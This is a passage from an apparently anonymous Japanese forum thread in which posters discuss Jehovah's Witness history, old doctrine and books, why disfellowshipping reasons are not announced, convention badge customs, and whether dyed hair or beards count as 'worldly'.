　　　　　　　 /　　　'i、 ／＼　/　 　 　 >　　　　　 　（　`ー''"ｰ'"
　　　　　　　 ＼ 　　'i," （__）　/　　　／　　　　　　 　 ＼ ／ノ

http://www.jwic.com/history1.htm
http://www.jwic.com/history2.htm
http://www.jwic.com/history3.htm
http://www.jwic.com/history5.htm

>789
ありがとうございます。
その本がそういう本だとはしらなかった・・・
確か・・昔本屋で見かけたような気がするのは、気のせいかな・・
友人がその本をもっているので
今度借りて読んでみます。

>798
ありがとうございます。
でも、それっていつごろの本？
ものすごい昔風にかかれていますが・・

完全のふりがなに「くわんぜん」、王国「わうこく」って・・
なにそれ？かえって見づらいよって感じでした。

>>806
古文を習わなかったか？旧仮名遣いだろ。
>>804
俺は会場出て速攻外してたが何か？

>>807
基本的には会場内で部外者とそうでないかを見分けるための目的で着けているわけだから外に出れば自由に外していいと思うよ
外で着けていて周りからどう見られるかは普段伝道しているときのことを考えれば大差ないと思うけど

誰か排斥されたときその理由って発表しないけどなんで？
同じ会衆の仲間だった人が排斥されるわけだから、その決定をした長老団は理由を明らかにする責任があるんじゃないかと思うんだけど。
はっきりした理由(明らかにしない)を知ってる人はいますか？

>>806
たぶん『神の竪琴』。
二代目会長、ラザフォードの本じゃなかったかな。
ＪＷの「ハルマゲドン当て」延期は有名な話だよ。
だから昔の歴史を書いた本でも、書籍の名前は出てきても、そのなかで
いわれていた教義には触れられない。昔の教義に触れたかったら、
岩波新書の『兵役を拒否した日本人』(最近復刊されました)が
一番手に入りやすく読みやすいかな。
日本のＪＷ創生期と、初代支部長明石順三がなぜ本部から排斥されたのかが
ＪＷ外の人の視点から記述されている。なお、>>798が紹介している本も
明石順三が訳したもの。

たとえば昔は輸血は禁止じゃなかったし、兵役拒否も教義ではなかった。
自分で判断して兵役拒否していた人はいたけどね。個人的にはそういうことは
良心の選択にすべてまかせるべきだろうとおもう。

ここで聞くなよ、ネタにしたいだけなんだろうけど
ＪＷなら何故明らかにしないか理由を知っているはずだし
ＪＷで無いのに知ってどうすんの、悪さしたのかい

>807
>古文を習わなかったか？旧仮名遣いだろ

当然分かっておりますが、よみずらいのには
変わりないのですよ(笑)
「読みづらい」といいたかっただけなので・・

排斥の理由の件に関しては、発表しない理由は
なんとなく分かるけどな・・
みなに発表すると名誉毀損で訴えられるような
事が多いような気がするけど・・・
不倫、詐欺、痴漢、窃盗・・などなど
他にもあると思うけど
必要以上にその人を社会的に追い詰めるような事が無いため
と思うんだけど・・

ｱﾒﾘｶあたりだと何かのｺﾝﾍﾞﾝｼｮﾝ(学術系、産業系諸々)があると
参加者はみんなﾎﾃﾙからﾊﾞｯｼﾞつけて会場まで逝ったりするわけで
要はそれをそのまんま輸入しちまったものと思われ

日本のJW、外面的なことはｱﾒとかに合わせたがる傾向があるんだが
ﾛｰｶﾙﾙｰﾙは実に日本的なモノだったりすることが多いわけで
というかそんなもんを決めたがるという性質自体実に日本的だけど
結構｢日本の常識、世界の非常識｣が生きてるんだよなぁ

>>813

国際学会でもそうやね。＞バッジ
やっぱ、アメリカン宗教。
ちなみに折れも、恥ずかしくて会場の近くになって初めて付けた。

つーか会場外で付ける必要性全くないし。

現役の方へのまじめな質問です。
俺、金髪でボウズ、あごひげ・口ひげはやしてる（きれいに整えてる）のね。
この世的ですか？
自分の良心に従って＆神との関係を大事にしてるつもりです。
他の人のつまずきの原因になるので、個性とか感性は消したほうがいいのですか？

自分の良心に従っているのなら、良心がうずいていないならとりあえずＯＫじゃないのかな
あと、年長の人たちの意見も聞いてみたらどうでしょう？

>金髪でボウズ

ロンゲのハゲにして下さい

年長者には遠まわしに、コノヨテキって言われるよ。
何を基準にコノヨテキなのか知らんけど。

ロンゲのハゲは悪魔的なので良くないです。うむｗ。

パウロはロンゲのハゲだった。

確かに、パウロはロンゲのハゲだった（多分）。イエスはロンゲでソバージュだった（確実）。ペテロはロンゲではなかったが、ハゲで天パだった（多分）。

>>820
面白い！　

俺は以前髪を染めたらこの世的って長老に言われました。
でも別に平気っしょｗ

でも、なんでパウロはロンゲはダメだって言ったんだろ？
そういえば、確かパウロはイエスに面識なかったんだっけ。

金髪で坊主・・ってめずらしいけどＯＫ!でしょう
エホバ神はむらとをごらんになるのです

あ

ほ

ろ